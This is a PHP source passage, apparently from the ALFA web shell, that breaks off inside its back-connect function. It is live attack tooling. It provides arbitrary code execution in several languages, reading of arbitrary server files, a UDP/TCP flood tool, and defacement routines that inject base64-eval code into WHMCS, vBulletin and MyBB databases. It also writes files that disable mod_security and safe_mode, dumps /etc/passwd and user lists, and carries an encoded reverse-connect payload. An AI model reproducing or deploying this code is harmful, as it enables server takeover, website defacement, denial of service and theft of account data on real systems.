if (@is_file($_POST['file']) && @is_readable($_POST['file']) || $alfa_canruncmd) {
ob_start("ob_gzhandler", 4096);
header("Content-Disposition: attachment; filename=\"" . addslashes($basename) . "\"");
header("Content-Type: application/octet-stream");
if ($GLOBALS["glob_chdir_false"]) {
$randname = $basename . rand(111, 9999);
$scriptpath = dirname($_SERVER["SCRIPT_FILENAME"]);
$filepath = $scriptpath . "/" . $randname;
if (_alfa_is_writable($scriptpath)) {
alfaEx("cp '" . addslashes($_POST["file"]) . "' '" . addslashes($filepath) . "'");
readfile($filepath);
@unlink($filepath);
} else {
alfaEx("cat '" . addslashes($_POST["file"]) . "'");
}
} else {
readfile($_POST['file']);
}
} else {
echo "Error...!";
}
}
}
function __alfa_set_cookie($key, $value)
{
$_COOKIE[$key] = $value;
@setcookie($key, $value, time() + 604800, '/');
}
function alfaphpeval()
{
if (isset($_COOKIE["eval_tmpdir"]) && @is_dir($_COOKIE["eval_tmpdir"])) {
$tempdir = __ZGVjb2Rlcg($_COOKIE["eval_tmpdir"]);
} else {
$tempdir = dirname(alfaEx("mktemp"));
__alfa_set_cookie("eval_tmpdir", __ZW5jb2Rlcg($tempdir));
}
alfahead();
if (isset($_POST['alfa2']) && $_POST['alfa2'] == 'ini') {
echo "<div class=header>";
ob_start();
$INI = ini_get_all();
print "<table border=0><tr><td class=\"listing\"><font class=\"highlight_txt\">Param</td><td class=\"listing\"><font class=\"highlight_txt\">Global value</td><td class=\"listing\"><font class=\"highlight_txt\">Local Value</td><td class=\"listing\"><font class=\"highlight_txt\">Access</td></tr>";
foreach ($INI as $param => $values) {
print "\n<tr><td class=\"listing\"><b>" . $param . '</td>' . '<td class="listing">' . $values['global_value'] . ' </td>' . '<td class="listing">' . $values['local_value'] . ' </td>' . '<td class="listing">' . $values['access'] . ' </td></tr>';
}
$tmp = ob_get_clean();
$tmp = preg_replace('!(body|a:\\w+|body, td, th, h1, h2) {.*}!msiU', '', $tmp);
$tmp = preg_replace('!td, th {(.*)}!msiU', '.e, .v, .h, .h th {$1}', $tmp);
echo str_replace('<h1', '<h2', $tmp) . '</div><br>';
}
if (isset($_POST['alfa2']) && $_POST['alfa2'] == 'info') {
echo "<div class=header><style>.p {color:#000;}</style>";
ob_start();
phpinfo();
$tmp = ob_get_clean();
$tmp = preg_replace('!(body|a:\\w+|body, td, th, h1, h2) {.*}!msiU', '', $tmp);
$tmp = preg_replace('!td, th {(.*)}!msiU', '.e, .v, .h, .h th {$1}', $tmp);
echo str_replace('<h1', '<h2', $tmp) . '</div><br>';
}
if (isset($_POST['alfa2']) && $_POST['alfa2'] == 'exten') {
echo "<div class=header>";
ob_start();
$EXT = get_loaded_extensions();
echo '<table border=0><tr><td class="listing">' . implode("</td></tr>\n<tr><td class=\"listing\">", $EXT) . '</td></tr></table>' . count($EXT) . ' extensions loaded';
echo "</div><br>";
}
$lang_html = "";
foreach (array("php" => "php ~> [ Windows / Linux ]", "perl" => "perl ~> [ Linux ]", "python" => "python ~> [ Linux ]", "bash" => "bash ~> [ Linux ]") as $key => $val) {
$lang_html .= '<option value="' . $key . '" ' . ($_POST["alfa3"] == $key ? "selected" : "") . '>' . $val . '</option>';
}
echo '<div class=header><Center><a href=javascript:void(0) onclick="g(\'phpeval\',null,\'\',\'ini\')">| INI_INFO | </a><a href=javascript:void(0) onclick="g(\'phpeval\',null,\'\',\'info\')"> | phpinfo |</a><a href=javascript:void(0) onclick="g(\'phpeval\',null,\'\',\'exten\')"> | extensions |</a></center><br><form class="php-evals" name="pf" method="post" onsubmit="var ace_value=geEvalAceValue(this);g(\'phpeval\',null,ace_value,null,this.language.value); return false;"><div class="txtfont">Select Language: </div> <select name="language" style="width:300px;">' . $lang_html . '</select>' . _alfa_load_ace_options("eval") . '<br><br><div class="bigarea" style="position:relative;"><div class="php-evals-ace">' . (!empty($_POST['alfa1']) ? htmlspecialchars($_POST['alfa1']) : "<?php\n\n\techo('hello alfa !');\n\n?>") . '</div></div><center><input type="submit" value="" style="margin-top:5px"></center>';
echo '</form><pre id="PhpOutput" style="' . (empty($_POST['alfa1']) ? 'display:none;' : '') . 'margin-top:5px;" class="ml1">';
if (!empty($_POST['alfa1'])) {
if ($_POST['alfa3'] == "php") {
ob_start();
eval('?>' . $_POST['alfa1']);
$result = htmlspecialchars(ob_get_clean());
} elseif (_alfa_can_runCommand() && $GLOBALS["sys"] == "unix") {
$lang = $_POST['alfa3'];
$filename = "temp" . rand(11111, 99999);
$temp = $tempdir . "/" . $filename;
__write_file($filename, $_POST['alfa1']);
$result = alfaEx("mv {$filename} {$temp};{$lang} {$temp};rm -f {$temp}");
@unlink($filename);
@unlink($temp);
}
echo '<textarea class="bigarea">' . $result . '</textarea>';
}
echo "</pre></div>";
alfafooter();
}
function alfahash()
{
if (!function_exists('hex2bin')) {
function hex2bin($p)
{
return decbin(hexdec($p));
}
}
if (!function_exists('full_urlencode')) {
function full_urlencode($p)
{
$r = '';
for ($i = 0; $i < strlen($p); ++$i) {
$r .= '%' . dechex(ord($p[$i]));
}
return strtoupper($r);
}
}
$stringTools = array('Base64_encode ( $string )' => '__ZW5jb2Rlcg($s)', 'Base64_decode ( $string )' => '__ZGVjb2Rlcg($s)', 'strrev ( $string )' => 'strrev($s)', 'bin2hex ( $string )' => 'bin2hex($s)', 'hex2bin ( $string )' => 'hex2bin($s)', 'md5 ( $string )' => 'md5($s)', 'sha1 ( $string )' => 'sha1($s)', 'hash ( "sha251", $string ) --> sha251' => 'hash("sha256",$s)', 'hash ( "sha384", $string ) --> sha384' => 'hash("sha384",$s)', 'hash ( "sha512", $string ) --> sha512' => 'hash("sha512",$s)', 'crypt ( $string )' => 'crypt($s)', 'crc32 ( $string )' => 'crc32($s)', 'str_rot13 ( $string )' => 'str_rot13($s)', 'urlencode ( $string )' => 'urlencode($s)', 'urldecode ( $string )' => 'urldecode($s)', 'full_urlencode ( $string )' => 'full_urlencode($s)', 'htmlspecialchars ( $string )' => 'htmlspecialchars($s)', 'base64_encode (gzdeflate( $string , 9)) --> Encode' => '__ZW5jb2Rlcg(gzdeflate($s, 9))', 'gzinflate (base64_decode( $string )) --> Decode' => '@gzinflate(__ZGVjb2Rlcg($s))', 'str_rot13 (base64_encode( $string )) --> Encode' => 'str_rot13(__ZW5jb2Rlcg($s))', 'base64_decode (str_rot13( $string )) --> Decode' => '__ZGVjb2Rlcg(str_rot13($s))', 'str_rot13 (base64_encode(gzdeflate( $string , 9))) --> Encode' => 'str_rot13(__ZW5jb2Rlcg(gzdeflate($s,9)))', 'gzinflate (base64_decode(str_rot13( $string ))) --> Decode' => '@gzinflate(__ZGVjb2Rlcg(str_rot13($s)))');
alfahead();
echo "<div class=header>";
echo "<form onSubmit='g(\"hash\",null,this.selectTool.value,this.input.value);return false;'><div class='txtfont'>Method:</div> <select name='selectTool' style='width:400px;'>";
foreach ($stringTools as $k => $v) {
echo "<option value='" . htmlspecialchars($v) . "' " . ($_POST['alfa1'] == $v ? 'selected' : '') . ">" . $k . "</option>";
}
echo "</select> <input type='submit' value=' '/><br><textarea name='input' style='margin-top:5px' class='bigarea'>" . (empty($_POST['alfa1']) ? '' : htmlspecialchars(@$_POST['alfa2'])) . "</textarea></form>";
if (!empty($_POST['alfa1'])) {
$string = addslashes($_POST['alfa2']);
$string = str_replace('\\"', '"', $string);
$alg = $_POST['alfa1'];
$code = str_replace('$s', "'" . $string . "'", $alg);
ob_start();
eval('echo ' . $code . ';');
$res = ob_get_contents();
ob_end_clean();
if (in_array($alg, $stringTools)) {
echo '<textarea class="bigarea">' . htmlspecialchars($res) . '</textarea>';
}
}
echo "</div>";
alfaFooter();
}
function alfados()
{
alfahead();
echo "<div class=header>";
echo "<center><p><div class=\"txtfont_header\">| DOS |</div></p><form onSubmit=\"g('dos',null,this.host.value,this.time.value,this.port.value,this.m.value); return false;\"><div class=\"txtfont\">Method : <select name=\"m\" style=\"width:80px;\"><option value=\"udp\">UDP</option><option value=\"tcp\">TCP</option></select> Host : <input name=\"host\" type=\"text\" value=\"localhost\" size=\"25\" /> Time : <input name=\"time\" type=\"text\" size=\"15\" /> Port : <input name=\"port\" type=\"text\" size=\"10\" /> <input type=\"submit\" value=\" \" /></div></form></center><br>";
if (!empty($_POST['alfa1']) && !empty($_POST['alfa2']) && !empty($_POST['alfa3'])) {
echo __pre();
$packets = 0;
ignore_user_abort(true);
$exec_time = (int) $_POST['alfa2'];
$time = time();
$max_time = $exec_time + $time;
$host = $_POST['alfa1'];
$port = (int) $_POST['alfa3'];
$method = $_POST['alfa4'];
$out = str_repeat('X', 65000);
while (1) {
$packets++;
if (time() > $max_time) {
break;
}
$fp = @fsockopen($method . '://' . $host, $port, $errno, $errstr, 5);
if ($fp) {
fwrite($fp, $out);
fclose($fp);
}
}
echo "<center>{$packets} (" . @round($packets * 65 / 1024, 2) . " MB) packets averaging " . @round($packets / $exec_time, 2) . " packets per second</center>";
echo "</pre>";
}
echo "</div>";
alfafooter();
}
function __pre()
{
return "<pre id=\"strOutput\" style=\"margin-top:5px\" class=\"ml1\">";
}
function alfaIndexChanger()
{
alfahead();
echo "<div class=header><center><p><div class=\"txtfont_header\">| Index Changer |</div></p><h3><a href=javascript:void(0) onclick=\"g('IndexChanger',null,null,null,'whmcs')\">| Whmcs | </a><a href=javascript:void(0) onclick=\"g('IndexChanger',null,'vb',null)\">| vBulletin | </a><a href=javascript:void(0) onclick=\"g('IndexChanger',null,null,'mybb')\">| MyBB | </a></h3></center>";
if (isset($_POST['alfa3']) && $_POST['alfa3'] == 'whmcs') {
echo __pre();
echo "<center><center><div class='txtfont_header'>| Whmcs |</div>\r\n<p><center>" . getConfigHtml('whmcs') . "<form onSubmit=\"g('IndexChanger',null,null,null,'whmcs',this.fname.value,this.path.value,this.dbu.value,this.dbn.value,this.dbp.value,this.dbh.value,this.index.value); return false;\">\r\n";
$table = array('td1' => array('color' => 'FFFFFF', 'tdName' => 'Mysql Host', 'inputName' => 'dbh', 'id' => 'db_host', 'inputValue' => 'localhost', 'inputSize' => '50'), 'td2' => array('color' => 'FFFFFF', 'tdName' => 'URL', 'inputName' => 'path', 'inputValue' => 'http://site.com/whmcs', 'inputSize' => '50'), 'td3' => array('color' => 'FFFFFF', 'tdName' => 'File Name', 'inputName' => 'fname', 'inputValue' => '', 'inputSize' => '50'), 'td4' => array('color' => 'FFFFFF', 'tdName' => 'Db Name', 'inputName' => 'dbn', 'id' => 'db_name', 'inputValue' => '', 'inputSize' => '50'), 'td5' => array('color' => 'FFFFFF', 'tdName' => 'Db User', 'inputName' => 'dbu', 'id' => 'db_user', 'inputValue' => '', 'inputSize' => '50'), 'td6' => array('color' => 'FFFFFF', 'tdName' => 'Db Pass', 'inputName' => 'dbp', 'id' => 'db_pw', 'inputValue' => '', 'inputSize' => '50'));
create_table($table);
echo "<br><div class='txtfont'>| Your Index |</div><br>\r\n<textarea name=index rows='19' cols='103'><title>Hacked By Sole Sad & Invisible</title><b>Hacked By Sole Sad & Invisible</b></textarea><br>\r\n<input type='submit' value=' '>\r\n</form></center></center>";
if (isset($_POST['alfa6'])) {
$s0levisible = "Powered By Solevisible";
$dbu = $_POST['alfa6'];
$path = $_POST['alfa5'];
$fname = $_POST['alfa4'];
$dbn = $_POST['alfa7'];
$dbp = $_POST['alfa8'];
$dbh = $_POST['alfa9'];
$index = $_POST['alfa10'];
$index = str_replace("\\'", "'", $index);
$deface = '$x = base64_decode("' . __ZW5jb2Rlcg($index) . '"); $solevisible = fopen("' . $fname . '","w"); fwrite($solevisible,$x);';
$saveData = __ZW5jb2Rlcg($deface);
$Def = '{php}eval(base64_decode("' . $saveData . '"));{/php}';
if (!empty($dbh) && !empty($dbu) && !empty($dbn) && !empty($index)) {
$conn = @mysqli_connect($dbh, $dbu, $dbp, $dbn) or die(mysqli_error($conn));
$soleSave = @mysqli_query($conn, "select message from tblemailtemplates where name='Password Reset Validation'");
$soleGet = mysqli_fetch_assoc($soleSave);
$tempSave1 = $soleGet['message'];
$tempSave = str_replace("'", "\\'", $tempSave1);
$inject = "UPDATE tblemailtemplates SET message='{$Def}' WHERE name='Password Reset Validation'";
$result = @mysqli_query($conn, $inject) or die(mysqli_error($conn));
$create = "insert into tblclients (email) values('solevisible@fbi.gov')";
$result2 = @mysqli_query($conn, $create) or die(mysqli_error($conn));
if (function_exists('curl_version')) {
$AlfaSole = new AlfaCURL(true);
$saveurl = $AlfaSole->Send($path . "/pwreset.php");
$getToken = preg_match("/name=\"token\" value=\"(.*?)\"/i", $saveurl, $token);
$AlfaSole->Send($path . "/pwreset.php", "post", "token={$token[1]}&action=reset&email=solevisible@fbi.gov");
$backdata = "UPDATE tblemailtemplates SET message='{$tempSave}' WHERE name='Password Reset Validation'";
$Solevisible = mysqli_query($conn, $backdata) or die(mysqli_error($conn));
__alert('File Created...');
echo "<br><pre id=\"strOutput\" style=\"margin-top:5px\" class=\"ml1\"><br><center><font color=red><a target='_blank' href='" . $path . "/" . $fname . "'>Click Here !</a></font></b></center><br><br>";
} else {
echo "<br><pre id=\"strOutput\" style=\"margin-top:5px\" class=\"ml1\"><br><center><b><font color=\"#FFFFFF\">Please go to Target </font><font color=red>\" " . $path . "/pwreset.php \"</font><br/><font color=\"#FFFFFF\"> and reset password with email</font> => <font color=red>solevisible@fbi.gov</font><br/><font color=\"#FFFFFF\">and go to</font> <font color=red>\" " . $path . "/" . $fname . " \"</font></b></center><br><br>";
}
}
}
}
if (isset($_POST['alfa1']) && $_POST['alfa1'] == 'vb') {
echo __pre();
echo "<center><center><div class='txtfont_header'>| vBulletin |</div>\r\n<p><center>" . getConfigHtml('vb') . "<form onSubmit=\"g('IndexChanger',null,'vb',this.dbu.value,this.dbn.value,this.dbp.value,this.dbh.value,this.index.value,this.prefix.value,'>>'); return false;\">\r\n";
$table = array('td1' => array('color' => 'FFFFFF', 'tdName' => 'Mysql Host', 'inputName' => 'dbh', 'id' => 'db_host', 'inputValue' => 'localhost', 'inputSize' => '50'), 'td2' => array('color' => 'FFFFFF', 'tdName' => 'Db Name', 'inputName' => 'dbn', 'id' => 'db_name', 'inputValue' => '', 'inputSize' => '50'), 'td3' => array('color' => 'FFFFFF', 'tdName' => 'Db User', 'inputName' => 'dbu', 'id' => 'db_user', 'inputValue' => '', 'inputSize' => '50'), 'td4' => array('color' => 'FFFFFF', 'tdName' => 'Db Pass', 'inputName' => 'dbp', 'id' => 'db_pw', 'inputValue' => '', 'inputSize' => '50'), 'td5' => array('color' => 'FFFFFF', 'tdName' => 'Prefix', 'inputName' => 'prefix', 'id' => 'db_prefix', 'inputValue' => '', 'inputSize' => '50'));
create_table($table);
echo "<br><div class='txtfont'>| Your Index |</div><br>\r\n<textarea name='index' rows='19' cols='103'><title>Hacked By Sole Sad & Invisible</title><b>Hacked By Sole Sad & Invisible</b></textarea><br>\r\n<input type='submit' value=' '></form></center></center>";
if ($_POST['alfa8'] == '>>') {
$s0levisible = "Powered By Solevisible";
$dbu = $_POST['alfa2'];
$dbn = $_POST['alfa3'];
$dbp = $_POST['alfa4'];
$dbh = $_POST['alfa5'];
$index = $_POST['alfa6'];
$prefix = $_POST['alfa7'];
$index = str_replace("\\'", "'", $index);
$set_index = "{\${eval(base64_decode(\\'";
$set_index .= __ZW5jb2Rlcg("echo \"{$index}\";");
$set_index .= "\\'))}}{\${exit()}}";
if (!empty($dbh) && !empty($dbu) && !empty($dbn) && !empty($index)) {
$conn = @mysqli_connect($dbh, $dbu, $dbp, $dbn) or die(mysqli_error($conn));
$loli1 = "UPDATE " . $prefix . "template SET template='" . $set_index . "" . $s0levisible . "' WHERE title='spacer_open'";
$loli2 = "UPDATE " . $prefix . "template SET template='" . $set_index . "" . $s0levisible . "' WHERE title='FORUMHOME'";
$loli3 = "UPDATE " . $prefix . "style SET css='" . $set_index . "" . $s0levisible . "', stylevars='', csscolors='', editorstyles=''";
@mysqli_query($conn, $loli1) or die(mysqli_error($conn));
@mysqli_query($conn, $loli2) or die(mysqli_error($conn));
@mysqli_query($conn, $loli3) or die(mysqli_error($conn));
__alert('VB index changed...!');
}
}
}
if (isset($_POST['alfa2']) && $_POST['alfa2'] == 'mybb') {
echo __pre();
echo "<center><center><div class='txtfont_header'>| Mybb |</div>\r\n<p><center>" . getConfigHtml('mybb') . "<form onSubmit=\"g('IndexChanger',null,'null','mybb',null,null,null,this.mybbdbh.value,this.mybbdbu.value,this.mybbdbn.value,this.mybbdbp.value,this.mybbindex.value); return false;\" method=POST action=''>\r\n";
$table = array('td1' => array('color' => 'FFFFFF', 'tdName' => 'Mysql Host', 'inputName' => 'mybbdbh', 'id' => 'db_host', 'inputValue' => 'localhost', 'inputSize' => '50'), 'td2' => array('color' => 'FFFFFF', 'tdName' => 'Db Name', 'inputName' => 'mybbdbn', 'id' => 'db_name', 'inputValue' => '', 'inputSize' => '50'), 'td3' => array('color' => 'FFFFFF', 'tdName' => 'Db User', 'inputName' => 'mybbdbu', 'id' => 'db_user', 'inputValue' => '', 'inputSize' => '50'), 'td4' => array('color' => 'FFFFFF', 'tdName' => 'Db Pass', 'inputName' => 'mybbdbp', 'id' => 'db_pw', 'inputValue' => '', 'inputSize' => '50'));
create_table($table);
echo "<br><div class='txtfont'>| Your Index |</div><br>\r\n<textarea name=mybbindex rows='19' cols='103'>\r\n<title>Hacked By Sole Sad & Invisible</title><b>Hacked By Sole Sad & Invisible</b></textarea><p><input type='submit' value='' ></p></form></center></center>";
if (isset($_POST['alfa6'])) {
$mybb_dbh = $_POST['alfa6'];
$mybb_dbu = $_POST['alfa7'];
$mybb_dbn = $_POST['alfa8'];
$mybb_dbp = $_POST['alfa9'];
$mybb_index = $_POST['alfa10'];
if (!empty($mybb_dbh) && !empty($mybb_dbu) && !empty($mybb_dbn) && !empty($mybb_index)) {
$conn = @mysqli_connect($mybb_dbh, $mybb_dbu, $mybb_dbp, $mybb_dbn) or die(mysqli_error($conn));
$prefix = "mybb_";
$loli7 = "UPDATE mybb_templates SET template='" . $mybb_index . "' WHERE title='index'";
$result = @mysqli_query($conn, $loli7) or die(mysqli_error($conn));
__alert('MyBB index changed...!');
}
}
}
echo "</div>";
alfafooter();
}
function alfaproc()
{
alfahead();
echo "<Div class=header><br><center>";
if (empty($_POST['ajax']) && !empty($_POST['alfa1'])) {
$_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'] = false;
}
if ($GLOBALS['sys'] == "win") {
$process = array("Task List" => "tasklist /V", "System Info" => "systeminfo", "Active Connections" => "netstat -an", "Running Services" => "net start", "User Accounts" => "net user", "Show Computers" => "net view", "ARP Table" => "arp -a", "IP Configuration" => "ipconfig /all");
} else {
$process = array("Process status" => "ps aux", "Syslog" => "cat /etc/syslog.conf", "Resolv" => "cat /etc/resolv.conf", "Hosts" => "cat /etc/hosts", "Cpuinfo" => "cat /proc/cpuinfo", "Version" => "cat /proc/version", "Sbin" => "ls -al /usr/sbin", "Interrupts" => "cat /proc/interrupts", "lsattr" => "lsattr -va", "Uptime" => "uptime", "Fstab" => "cat /etc/fstab");
}
foreach ($process as $n => $link) {
echo '<a href="javascript:void(0);" onclick="g(\'proc\',null,\'' . $link . '\')"> | ' . $n . ' | </a>';
}
echo "</center><br>";
if (!empty($_POST['alfa1'])) {
echo "<pre class='ml1' style='margin-top:5px' >";
if ($GLOBALS["glob_chdir_false"] && !empty($_POST["c"])) {
$cmd = "cd '" . addslashes($_POST["c"]) . "';";
}
echo alfaEx($cmd . $_POST['alfa1'], true);
echo "</pre>";
}
echo "</div>";
alfafooter();
}
function alfasafe()
{
alfahead();
echo "<div class=header><center><br><div class='txtfont_header'>| Auto ByPasser |</div>";
echo "<h3><a href=javascript:void(0) onclick=\"g('safe',null,'php.ini',null)\">| PHP.INI | </a><a href=javascript:void(0) onclick=\"g('safe',null,null,'ini')\">| .htaccess(apache) | </a><a href=javascript:void(0) onclick=\"g('safe',null,null,null,'pl')\">| .htaccess(LiteSpeed) |</a><a href=javascript:void(0) onclick=\"g('safe',null,null,null,null,'passwd')\">| Read-Passwd | </a><a href=javascript:void(0) onclick=\"g('safe',null,null,null,null,null,'users')\">| Read-Users | </a><a href=javascript:void(0) onclick=\"g('safe',null,null,null,null,null,null,'valiases')\">| Get-User | </a><a href=javascript:void(0) onclick=\"g('safe',null,null,null,null,null,null,null,null,'domains')\">| Get-Domains | </a></center></h3>";
if (!empty($_POST['alfa8']) && isset($_POST['alfa8']) == 'domains') {
if (!_alfa_file_exists("/etc/virtual/domainowners")) {
echo __pre();
$solevisible9 = _alfa_file('/etc/named.conf');
if (is_array($solevisible9)) {
foreach ($solevisible9 as $solevisible13) {
if (@eregi('zone', $solevisible13)) {
preg_match_all('#zone "(.*)"#', $solevisible13, $solevisible14);
if (strlen(trim($solevisible14[1][0])) > 2) {
echo $solevisible14[1][0] . '<br>';
}
}
}
}
} else {
echo __pre();
$users = _alfa_file("/etc/virtual/domainowners");
if (is_array($users)) {
foreach ($users as $boz) {
$dom = explode(":", $boz);
echo $dom[0] . "\n";
}
}
}
}
if (!empty($_POST['alfa6']) && isset($_POST['alfa6']) == 'valiases') {
echo "\r\n<form onsubmit=\"g('safe',null,null,null,null,null,null,'valiases',this.site.value,null,'>>'); return false;\" method=\"post\" /><center><div class=\"txtfont\">Url: </font><input type=\"text\" placeholder=\"site.com\" name=\"site\" /> <input type=\"submit\" value=\" \" name=\"go\" /></form></center>";
if (isset($_POST['alfa9']) && $_POST['alfa9'] == '>>') {
if (!_alfa_file_exists("/etc/virtual/domainowners")) {
$site = trim($_POST['alfa7']);
$rep = str_replace(array("https://", "http://", "www."), "", $site);
$user = "";
if (function_exists("posix_getpwuid") && function_exists("fileowner")) {
if ($user = @posix_getpwuid(@fileowner("/etc/valiases/{$rep}"))) {
$user = $user['name'];
}
} else {
if (_alfa_can_runCommand(true, true)) {
$user = alfaEx("stat -c '%U' /etc/valiases/" . $rep);
}
}
if (!empty($user) && $user != 'root') {
echo __pre() . "<center><table border='1'><tr><td><b><font color=\"#FFFFFF\">User: </b></font></td><td><b><font color=\"#FF0000\">{$user}</font></b></td></tr><tr><td><b><font color=\"#FFFFFF\">site: </b></font></td><td><b><font color=\"#FF0000\">{$rep}</font></b></td></tr></table></center>";
} else {
echo __pre() . '<center><b>No such file or directory Or Disable Functions is not NONE...</b></center>';
}
} else {
$site = trim($_POST['alfa7']);
$rep = str_replace(array("https://", "http://", "www."), "", $site);
$users = _alfa_file("/etc/virtual/domainowners");
foreach ($users as $boz) {
$ex = explode(":", $boz);
if ($ex[0] == $rep) {
echo __pre() . "<center><table border='1'>\r\n<tr><td><b><font color=\"#FFFFFF\">User: </b></font></td><td><b><font color=\"#FF0000\">" . trim($ex[1]) . "</font></b></td></tr>\r\n<tr><td><b><font color=\"#FFFFFF\">site: </b></font></td><td><b><font color=\"#FF0000\">{$rep}</font></b></td></tr></table></center>";
break;
}
}
}
}
}
if (!empty($_POST['alfa5']) && isset($_POST['alfa5'])) {
if (!_alfa_file_exists("/etc/virtual/domainowners")) {
echo __pre();
$i = 0;
while ($i < 60000) {
$line = @posix_getpwuid($i);
if (!empty($line)) {
while (list($key, $vl) = each($line)) {
echo $vl . "\n";
break;
}
}
$i++;
}
} else {
echo __pre();
$users = _alfa_file("/etc/virtual/domainowners");
foreach ($users as $boz) {
$user = explode(":", $boz);
echo trim($user[1]) . '<br>';
}
}
}
if (!empty($_POST['alfa4']) && isset($_POST['alfa4'])) {
echo __pre();
if (_alfa_can_runCommand(true, true)) {
echo __read_file("/etc/passwd");
} elseif (function_exists("posix_getpwuid")) {
for ($uid = 0; $uid < 60000; $uid++) {
$ara = @posix_getpwuid($uid);
if (!empty($ara)) {
while (list($key, $val) = each($ara)) {
echo "{$val}:";
}
echo "\n";
}
}
} else {
__alert('failed...');
}
}
if (!empty($_POST['alfa2']) && isset($_POST['alfa2'])) {
@__write_file($GLOBALS['cwd'] . ".htaccess", "#Generated By Sole Sad and Invisible\n<IfModule mod_security.c>\nSec------Engine Off\nSec------ScanPOST Off\n</IfModule>");
echo "<center><b><big>htaccess for Apache created...!</center></b></big>";
}
if (!empty($_POST['alfa1']) && isset($_POST['alfa1'])) {
@__write_file($GLOBALS['cwd'] . "php.ini", "safe_mode=OFF\ndisable_functions=ByPassed By Sole Sad & Invisible(ALFA TEaM)");
echo "<center><b><big> php.ini created...!</center></b></big>";
}
if (!empty($_POST['alfa3']) && isset($_POST['alfa3'])) {
@__write_file($GLOBALS['cwd'] . ".htaccess", "#Generated By Sole Sad and Invisible\n<Files *.php>\nForceType application/x-httpd-php4\n</Files>\n<IfModule mod_security.c>\nSecFilterEngine Off\nSecFilterScanPOST Off\n</IfModule>");
echo "<center><b><big>htaccess for Litespeed created...!</center></b></big>";
}
echo "<br></div>";
alfafooter();
}
function __get_resource($content)
{
return @gzinflate(__ZGVjb2Rlcg($content));
}
function __write_file($file, $content)
{
if ($fh = @fopen($file, "wb")) {
if (fwrite($fh, $content) !== false) {
return true;
}
}
return false;
}
function bcinit($evalType, $evalCode, $evalOptions, $evalArguments)
{
$res = "<font color='green'>[ Success...! ]</font>";
$err = "<font color='red'>[ Failed...! ]</font>";
if ($evalOptions != "") {
$evalOptions .= " ";
}
if ($evalArguments != "") {
$evalArguments = " " . $evalArguments;
}
if ($evalType == "c") {
$tmpdir = ALFA_TEMPDIR;
chdir($tmpdir);
if (is_writable($tmpdir)) {
$uniq = substr(md5(time()), 0, 8);
$filename = $evalType . $uniq . ".c";
$path = $filename;
if (__write_file($path, $evalCode)) {
$ext = $GLOBALS['sys'] == 'win' ? ".exe" : ".out";
$pathres = $filename . $ext;
$evalOptions = "-o " . $pathres . " " . $evalOptions;
$cmd = "gcc " . $evalOptions . $path;
alfaEx($cmd);
if (is_file($pathres)) {
if (chmod($pathres, 0755)) {
$cmd = $pathres . $evalArguments;
alfaEx($cmd);
} else {
$res = $err;
}
unlink($pathres);
} else {
$res = $err;
}
unlink($path);
} else {
$res = $err;
}
}
return $res;
} elseif ($evalType == "java") {
$tmpdir = ALFA_TEMPDIR;
chdir($tmpdir);
if (is_writable($tmpdir)) {
if (preg_match("/class\\ ([^{]+){/i", $evalCode, $r)) {
$classname = trim($r[1]);
$filename = $classname;
} else {
$uniq = substr(md5(time()), 0, 8);
$filename = $evalType . $uniq;
$evalCode = "class " . $filename . " { " . $evalCode . " } ";
}
$path = $filename . ".java";
if (__write_file($path, $evalCode)) {
$cmd = "javac " . $evalOptions . $path;
alfaEx($cmd);
$pathres = $filename . ".class";
if (is_file($pathres)) {
if (chmod($pathres, 0755)) {
$cmd = "java " . $filename . $evalArguments;
alfaEx($cmd);
} else {
$res = $err;
}
unlink($pathres);
} else {
$res = $err;
}
unlink($path);
} else {
$res = $err;
}
}
return $res;
}
return false;
}
function alfaconnect()
{
alfahead();
$php = "7VZta9swEP5e6H9QjaE2S5uXfhg0pDBYPw7KVtiHtjOOLNcitqVJ8pKxpb99d36L4zid17WwQV1wrbvTo0e6Oz1hSgnlKSaFMjy9d0bu9PBAM+MZnjAv5gk3hU3MPZ7ImFNuvDDOdOSg1Ta+umdGkxlhKxmLgDkWsQaktOchFL3js7O3OFj6MEizOMYBaw50BAMLUIAJub78+GG2Mkwl06tP49nxrX31+f3F8bR0g206nPN0CJNOuIXTE5z9QN7FoU+umZ8QHbE4Jg/k8AD9PCQOFVlqnIqyS2ZAyyU/Dg8IPLYEgNI3LU05I6saGRzBogFa1oTFmu1BnXSi6pvRXRO5No/vtpfw6SJfomAdZik1XKQeW3FttHMsaWpiLxRqcew2FuIBTN748vSgBzEK74yc4IYBxzjjtru0j5p2KTRfeVANmgeO2wFQUkTe1dlsGGHatVGQC08LuoCa0kx9Y8qxDJXnw+HoNP87t8gp0IeaYUqlovgP8yoiFURZkyKDw9YDclYztenOQj6lTGJcczcQYkQslsBAZ3MYOTKSXpb6CXPcARkBpptv0lrydLMPfMKl4oY5NgV2CdCFtNElHskpsS6sahF8lhGPGZ4oOQKk0Ici2UKqiyLE1ANic3J97orde4lvaORYQxrcEufmy62+e+MOOfYWnpVS7g5ujh1gGYB7U1VtdK69gCsHIgGCRtV3R7QtAGt7r62oTRsYxZPmEduyPEysFov8/En2RnzNIMIlc8jgooWP6AUNHxr7coWTkIi1k4TWxGbGRHNv60ZWaSw0a+WgMtalU2xxbzU059oB1ryvlP/dGZHZRflpSS4ZJM5SFtTZuMOxRMek27G1gFTY5EpQT0iWAstogKtiUXDZjMSUHEGmFdMiUxTYSqyY7d7Hp9Fe8xi6B0UAweCygp7oFTnuHTnpFUlbQWVPGZXt9lJ+QzIRYhaxyIrvgpXbXVO28uss5Tms9lBSbHdCzTFmFO4U5UPkEl8MXqheXS3MU6+xgvL3dCvHmwDggyKO6q42rOqtyorN21HrxwjU2+vDog5+nAp9EovJn7CY/D2Ljl7XXb3eeQEUp73PM97r2S6gvFcrb61p6+YPiEo9Ufa31TNEOSsaPSrvfZbia0v/nknb9LNr207uXrWtib9P2+AHa1910z3UrYeQ6VchexEh008SMv0kIdMvLmS65+Wt/ych0/+EkP2ORV8he2nN+gU=";
